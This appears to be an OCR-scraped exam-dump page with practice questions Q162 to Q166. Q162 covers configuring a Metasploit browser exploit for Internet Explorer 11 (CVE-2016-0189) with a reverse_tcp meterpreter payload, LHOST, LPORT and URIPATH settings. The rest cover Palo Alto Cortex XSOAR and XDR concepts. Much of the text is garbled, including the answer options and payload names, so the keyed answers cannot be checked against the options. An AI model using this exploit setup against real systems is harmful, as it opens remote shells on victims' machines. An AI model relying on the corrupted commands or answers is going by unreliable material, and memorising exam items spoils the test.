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Questions (Q162-Q167):

NEW QUESTION # 162
A test for a Microsoft exploit has been planned. After some research Internet Explorer 11 CVE-2016-0189 has been selected and
a module in Metasploit has been identified (exploit/windows/browser/ms16_051_vbscript) The description and current configuration
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of the exploit are as follows;
msf exploit(ms16_051_vbscript) = show options

Module options (exploitwindows/browser/ms16_051_vbscript):
Name Current Setting Required Description

SRVHOST 100010 yes  The local host to listefion.
SRVPORT 8080 yes  The local port toffisten on
2 no Negotiate SSEorincoming connections
no Path fo-d custom SSL certificate (default is randomly generated)
no The WURFto use for this exploit (default is random)

Configure a reverse=icp meterpreter payload

Set up the meterpreler payload to listen in IP 10.0.0.10
Set up the meterpreter payload to listen in port 443
Configure the URL to listen in a path with name "survey"

What is the remaining configuration?

&« & & @

set PAYLOAD Mndowsfx(imal_bmd_tcp
set SRVHOST 10.0.0.10

set SRVPORT 443

set URIPATH survey

set PAYLOAD windows/x64/meter
set LHOST 10.0.0.10 .“'-e
set LPORT 443 mﬁ;

set URIPAT Hrsid ey

set PAYLOAD windows/ wid/meterpreter reverse_tcp
set SRVHOST 10.0.0.10,
set SRVPORT 443

_" ATH survey

set PAYLOAD windows/x64/melerpreter/revers
set SSLCert survey
set LHOST 10.0.0.10
set LPORT 8080

e D

Answer: B

NEW QUESTION # 163
Which command is used to add Cortex XSOAR "User1" to an investigation from the War Room command- line nterface (CLI)?

A. #Userl

B. !invite Userl
C. /nvite Userl
D. @Userl

Answer: B

NEW QUESTION # 164
What is a key difference between audit users and full users in Cortex XSOAR?

A. Audit users can only view incidents, while full users can edit system components.
B. Audit users have read-only permission, white full users have read-write permission.
C. Full users can only view dashboards, while audit users can nvestigate incidents.

D. Audit users can run scripts and playbooks, while full users can only view reports.

Answer: B

Explanation:
Audit users in Cortex XSOAR have limited, read-only access to the system, which allows themto view information without making



any changes. Full users, on the other hand, have read-write access, meaning they can both view and modify incidents, configurations,
and other system components.

NEW QUESTION # 165
‘Which statement applies to the malware protection flow of the endpoint agent in Cortex XSIAM?

A. Hash comparisons come after local static analysis.

B. The block Iist is verified in the final step.

C. Local analysis always happens before a WildFire verdict check.
D. A tile froman allowed signer is exempt from local analysis.

Answer: D

NEW QUESTION # 166
‘Which process in the causality chain does the Cortex XDR agent identify as triggering an event sequence?

A. the chai's alert initiator

B. the adversary's remote process
C. the relevant shell

D. The causality group owner

Answer: D

NEW QUESTION # 167
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